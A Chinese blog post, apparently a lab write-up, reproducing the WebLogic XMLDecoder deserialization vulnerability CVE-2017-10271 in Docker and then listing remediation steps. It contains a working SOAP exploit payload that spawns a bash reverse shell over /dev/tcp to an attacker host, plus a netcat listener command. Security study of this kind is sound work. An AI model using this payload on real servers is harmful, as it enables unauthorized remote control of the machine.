记一次经典的反序列化漏洞(CVE-2017-10271)

news/2026/1/21 0:27:11/文章来源:https://www.cnblogs.com/xiantan/p/19508995

关于WebLogic

​ WebLogic 是由 Oracle 公司开发的一款企业级 Java EE(现 Jakarta EE)应用服务器,广泛用于构建、部署和管理大型分布式企业应用。它提供高可用性、可扩展性和安全性,支持诸如 EJB、JMS、JTA、JDBC、Servlet、JSP 等 Java EE 标准技术,并集成了集群、负载均衡、故障转移等高级功能,适用于金融、电信、政府等对系统稳定性要求较高的行业。WebLogic 也因其复杂的功能和广泛的使用,历史上多次曝出严重安全漏洞,尤其是反序列化类漏洞,使其成为安全研究人员和攻击者重点关注的对象。正因如此,WebLogic 常被用作学习 Java 反序列化、RMI 攻击、T3 协议利用等安全技术的典型靶标。

关于反序列化漏洞

​ 反序列化漏洞是指程序在将序列化的数据(如字节流、JSON、XML、YAML 等格式)还原为对象的过程中,未对输入内容进行充分校验或限制,导致攻击者可构造恶意数据,在反序列化时触发任意代码执行、文件读写、命令执行等危险操作。这类漏洞常见于使用了不安全反序列化机制的编程语言和框架中,尤其在 Java 生态中尤为突出——由于 Java 原生支持对象序列化,且许多库如 Apache Commons Collections、Fastjson、Jackson、XStream 等在反序列化时会自动调用某些类的方法,攻击者可利用这些链实现远程代码执行。

关于CVE-2017-10271

​ CVE-2017-10271 是 Oracle WebLogic Server 中一个严重的远程代码执行漏洞,源于其 WLS,即WebLogic Server组件在处理 SOAP 消息时不当使用了 Java 的 XMLDecoder 类对用户输入进行反序列化。攻击者可通过向 /wls-wsat/ 路径下的多个接口(如 CoordinatorPortType 接口)发送精心构造的恶意 XML 请求,触发 XMLDecoder 对任意 Java 对象的实例化,从而实现远程命令执行。该漏洞影响 WebLogic 10.3.6.0、12.1.3.0、12.2.1.1 等多个版本,且利用门槛低、甚至无需身份认证,公开的 PoC 广泛流传,导致大量未打补丁的服务器被攻陷。此漏洞不仅凸显了 XML 反序列化的安全风险,也成为研究 Java 反序列化攻击和企业中间件安全的经典案例,当时发现此漏洞的多数利用方式为传播挖矿程序。而Oracle 在 2017 年 10 月的安全更新中修复了该问题。

关于SOAP请求

SOAP(Simple Object Access Protocol,简单对象访问协议)请求,是发往特定 URL 的 POST 请求,本质上是基于 XML 格式、遵循固定规范的 HTTP 请求,专门用于不同系统之间(比如 Java 后端和 Python 客户端、跨语言 / 跨平台服务)的远程数据交互。

PS:本次复现紧接上一次的学习,使用反弹shell的形式触发该漏洞。

漏洞复现

使用docker安装完毕环境后,访问对应的端口,默认为7001:

等待一段时间,可看到一个404页面,说明weblogic已成功启动。 之后访问以下路径:

http://虚拟机ip:7001/console

之后会跳转到一个登陆页面,等待初始化整个环境后跳转至新页面。

在这里我们可以使用大佬开发专门用于的Weblogic漏洞检测工具进行漏洞探测

可以发现对应的漏洞存在。

接下来访问以下路径,并进行抓包,发现发现是一个GET请求的,这里需要在BP中将GET请求更改为POST请求change request method,同时需要插入构造的soap请求:

http://虚拟机ip:7001/wls-wsat/CoordinatorProtType

​ SOAP POC如下:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/虚拟机IP/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>

​ 由于WebLogic 对work:Work Context节点的解析逻辑存在缺陷,会将节点内的java内容交给XMLDecoder处理 —— 这是整个攻击的 “突破口”,正常情况下XMLDecoder仅用于解析合法的 JavaBean 配置,此处被恶意滥用。

​ 而ProcessBuilder是 Java 中用于创建操作系统进程的类,这里通过 XML 格式构造其参数:其中关键的命令数组

["/bin/bash", "-c", "bash -i >& /dev/tcp/10.4.7.129/8888 0>&1"]

的含义即调用 Linux 的 bash 终端后,告诉 bash 执行后续字符串中的命令(即核心的反弹shell):

  • bash -i:启动交互式 bash;
  • >& /dev/tcp/攻击者IP/8888:将 bash 的标准输出 / 错误输出重定向到攻击者 IP的 8888 端口;
  • 0>&1:将标准输入也重定向到相同端口,实现双向通信(攻击者可输入命令,服务器返回结果)。

​ 之后调用ProcessBuilder.start()方法,启动新进程执行上述 bash 命令。执行后,WebLogic 服务器会主动连接攻击者的8888 端口,建立反向 Shell 会话 ,攻击者只需在自己的机器上监听 8888 端口,就能获取服务器的交互式 Shell,完全控制目标机器。

​ 在发出之前记得在另一终端上启动监听,端口同样可以自选,但要注意上下统一。

nc -lvnp 8888

​ 发出后将数据包放行,实现权限获取。

后续修复方案跟进

​ 临时方法:删除wls-wsat组件,然后重启weblogic,直接的验证方法是访问:

http://主机IP:7001/wls-wsat/CoordinatorPortType11

​ 如是404则说明已成功删除。

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
cd /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/bin
./stopWebLogic.sh
./startWebLogic.sh &

修补方法:使用后续发布的补丁,但需要购买了软件服务。

cd /home/WebLogic/Oracle/Middleware/utils/bsu  #进入bsu目录
mkdir -p cache_dir/backup                      #创建backup目录用于备份
mv cache_dir/* cache_dir/backup                #确保cache_dir下原来没有补丁
unzip p26519424_1036_Generic.zip -d /home/WebLogic/Oracle/Middleware/utils/bsu/cache_dir #将补丁解压到cache_dir
mv cache_dir/patch-catalog_25504.xml cache_dir/patch-catalog.xml       #重命名patch-catalog
./bsu.sh -install -patchlist=FMJJ -patch_download_dir=./cache_dir/ -prod_dir=../../wlserver_10.3/   #打FMJJ补丁

参考:博客园@诸子流

总结

​ 在本次实验中,深入理解 XML 反序列化漏洞的成因与利用机制。该漏洞源于 WebLogic 在处理 SOAP 请求时使用了不安全的 Java XMLDecoder 类,直接反序列化用户可控的 XML 输入,导致任意对象实例化和远程代码执行。复现过程有助于掌握如何构造恶意 XML payload、识别可利用的接口路径(如 /wls-wsat/CoordinatorPortType),以及利用常见 Java 类(如 ProcessBuilder)实现命令执行。同时,还能学习企业级中间件的典型攻击面、T3/SOAP 协议交互方式,以及漏洞验证与 PoC 编写的基本方法,不仅强化了对反序列化风险的认知,也为后续研究其他 Java 反序列化漏洞(如 Fastjson、Shiro 等)打下基础,是入门 Java 安全与中间件攻防的重要案例。

今日日鞠

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1191328.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Authentication is required but no CredentialsProvider has been registered 报错已解决

文章目录 Authentication is required but no CredentialsProvider has been registered 报错已解决项目场景问题描述原因分析1️⃣ Git 仓库是私有仓库2️⃣ Git 仓库地址&#xff08;uri&#xff09;配置错误3️⃣ 未配置 CredentialsProvider 解决方案方案一&#xff1a;配置…

Multisim14使用教程:快速理解直流电路搭建步骤

Multisim14实战入门&#xff1a;手把手教你搭出第一个直流电路你有没有过这样的经历&#xff1f;在模电实验课上&#xff0c;接了一堆导线&#xff0c;万用表一测——电压不对&#xff1b;反复检查&#xff0c;发现是电源正负极接反了。更糟的是&#xff0c;某个电阻还因为电流…

解决vscode中文输入法输入没有候选框问题

去掉勾选即可 参考https://blog.csdn.net/m0_47346543/article/details/154704448黄粱一梦,终是一空本文来自博客园,作者:hicode002,转载请注明原文链接:https://www.cnblogs.com/hicode002/p/19509148

大模型测试的“冷启动评估”:新模型上线前怎么测?

冷启动评估的紧迫性与定义 在人工智能时代&#xff0c;大模型&#xff08;如LLM&#xff09;的部署已成为企业核心能力&#xff0c;但新模型上线前的冷启动问题常被忽视。冷启动指模型首次响应请求时因初始化延迟导致的性能瓶颈&#xff0c;包括资源分配、依赖加载和计算图优化…

Error creating bean with name ‘xxxxxxxController‘: Injection of resource dependencies failed报错已解决

Error creating bean with name ‘XXXController’: Injection of resource dependencies failed 问题已解决&#xff1a;4 种高频原因全面排查指南 一、项目场景 在一次 Spring Boot MyBatis 的后台项目开发过程中&#xff0c;项目结构、依赖、配置看似全部完成&#xff0c;但…

2026中国智慧养老行业:老龄化浪潮下的刚性需求爆发

截至 2024 年末&#xff0c;中国 60 岁以上人口达3.1 亿&#xff0c;照护依赖人口五年内将增至4000 万 &#xff0c;护理员缺口超500 万&#xff0c;刚性需求全面爆发。2026 年市场规模预计突破8.3 万亿元&#xff0c;2030 年将达15.1 万亿元&#xff1b;八部门新政以科技赋能为…

通过agentscope在EKS部署远程沙盒和代理应用

参考资料https://runtime.agentscope.io/zh/tool.htmlAgentScope Runtime是一个面向 AI Agent 的全栈运行时,解决高效部署与服务化以及安全的沙箱化执行。 测试环境为python3.13,安装agentscope-runtime uv add &quo…

如何测试AI生成的邮件是否符合商务礼仪:软件测试从业者指南

AI邮件测试的必要性与挑战在AI工具&#xff08;如豆包AI、文心一言&#xff09;广泛应用于商务邮件生成的背景下&#xff0c;测试从业者面临新挑战&#xff1a;确保AI输出邮件符合专业礼仪&#xff0c;避免因文化误解、语气不当或格式错误导致沟通失误。 据统计&#xff0c;近4…

IDEA_pom.xml_spring-boot-maven-plugin爆红问题解决

文章目录IDEA中spring-boot-maven-plugin报红问题及解决方案项目场景问题描述原因分析解决方案1. 添加版本号2. 刷新 Maven 项目3. IDEA 重启&#xff08;必要时&#xff09;经验总结总结IDEA中spring-boot-maven-plugin报红问题及解决方案 在使用 IntelliJ IDEA 进行 Spring …

跨境电商防关联:从“单点隔离”到“系统化风控”一套打穿

很多卖家做防关联只停留在“换IP换浏览器”&#xff0c;结果仍然二审频繁、限流或资金风控。原因是平台判定关联不是只看某一个点&#xff0c;而是把设备指纹、网络链路、业务资料、资金履约、内容与行为拼成整体画像。要想稳定跑矩阵&#xff0c;必须把防关联做成“系统工程”…

全国现代物业管理人才培养赋能新质生产力发展研讨会 (MPMTT 2026)

全国现代物业管理人才培养赋能新质生产力发展研讨会&#xff08;MPMTT 2025&#xff09;将于2026年3月13日-15日在中国昆明隆重举行。MPMTT 2025 由昆明理工大学津桥学院主办&#xff0c;将针对物业管理的相关研究领域展开探讨&#xff0c;旨在为相关领域的专家学者&#xff0c…

玩转Synbo|为什么说质押是进入Club的关键动作

各位社区成员大家好&#xff0c;在进入Synbo体系过程中&#xff0c;质押是获取Club门票与绑定身份的关键动作。当你的质押数量达到某个Club设置的阈值&#xff0c;你就会获得这个Club的成员身份&#xff0c;并解锁&#xff1a;融资可见性、参与权限、激励分配关系&#xff0c;本…

Galaxy比数平台功能介绍及实现原理|得物技术

一、背景 得物经过10年发展&#xff0c;计算任务已超10万&#xff0c;数据已经超200PB&#xff0c;为了降低成本&#xff0c;计算引擎和存储资源需要从云平台迁移到得物自建平台&#xff0c;计算引擎从云平台Spark迁移到自建Apache Spark集群、存储从ODPS迁移到OSS。 在迁移时…

上位机软件开发中串口超时机制的设计实践

串口通信“卡死”怎么办&#xff1f;上位机超时机制的实战设计之道你有没有遇到过这样的场景&#xff1a;上位机软件点击“读取参数”&#xff0c;界面瞬间“假死”&#xff0c;鼠标动不了&#xff0c;任务管理器都救不回来&#xff1f;等了整整30秒&#xff0c;才弹出一个“设…

Eclipse 打开报 `An error has occurred. See the log null` 错误及解决方法

Eclipse 打开报 An error has occurred. See the log null 错误及解决方法 项目场景&#xff1a; 在日常 Java 开发中&#xff0c;Eclipse 是最常用的开发工具之一。我们在 Windows 系统中使用 Eclipse 时&#xff0c;有时会遇到突然无法打开 Eclipse 的情况&#xff0c;报错信…

第七篇:告别手动拼 URL!我们封装自己的“地图超市”

View Post第七篇:告别手动拼 URL!我们封装自己的“地图超市”本专栏旨在手把手带你从零开始,基于开源三维地球引擎 **Cesium** 封装一套功能完善、可复用的 **WebGIS 增强型 SDK**。内容涵盖核心封装思路、关键代码…

基于微信小程序的小区租车拼车系统【源码+文档+调试】

&#x1f525;&#x1f525;作者&#xff1a; 米罗老师 &#x1f525;&#x1f525;个人简介&#xff1a;混迹java圈十余年&#xff0c;精通Java、小程序、数据库等。 &#x1f525;&#x1f525;各类成品Java毕设 。javaweb&#xff0c;ssm&#xff0c;springboot等项目&#…

数字频率计设计超详细版:基本结构与工作流程讲解

以下是对您提供的博文《数字频率计设计超详细版&#xff1a;基本结构与工作流程讲解》的深度润色与专业重构版本。本次优化严格遵循您的全部要求&#xff1a;✅ 彻底去除AI痕迹&#xff0c;语言自然、有“人味”&#xff0c;像一位资深嵌入式工程师在技术博客中娓娓道来&#x…

35岁转行学了网络安全,能谋生吗?

35岁转行学了网络安全&#xff0c;能谋生吗&#xff1f; 35岁转型搞安全是否还有戏&#xff1f; 放眼现在安全圈 00后的黑客CEO已经出场了 18岁的少年也开始穿梭于微软、谷歌、苹果各大国际公司的安全致谢榜 年轻的黑客们早已登上国际舞台&#xff0c;开始在世界顶级黑客大…

VitePress 进阶指南:自动化侧边栏配置与 TOC 渲染深度排查

VitePress 进阶指南:自动化侧边栏配置与 TOC 渲染深度排查VitePress 进阶指南:自动化侧边栏配置与 TOC 渲染深度排查 在使用 VitePress 搭建文档系统时,随着文件数量的增加,手动维护 .vitepress/config.ts 中的 si…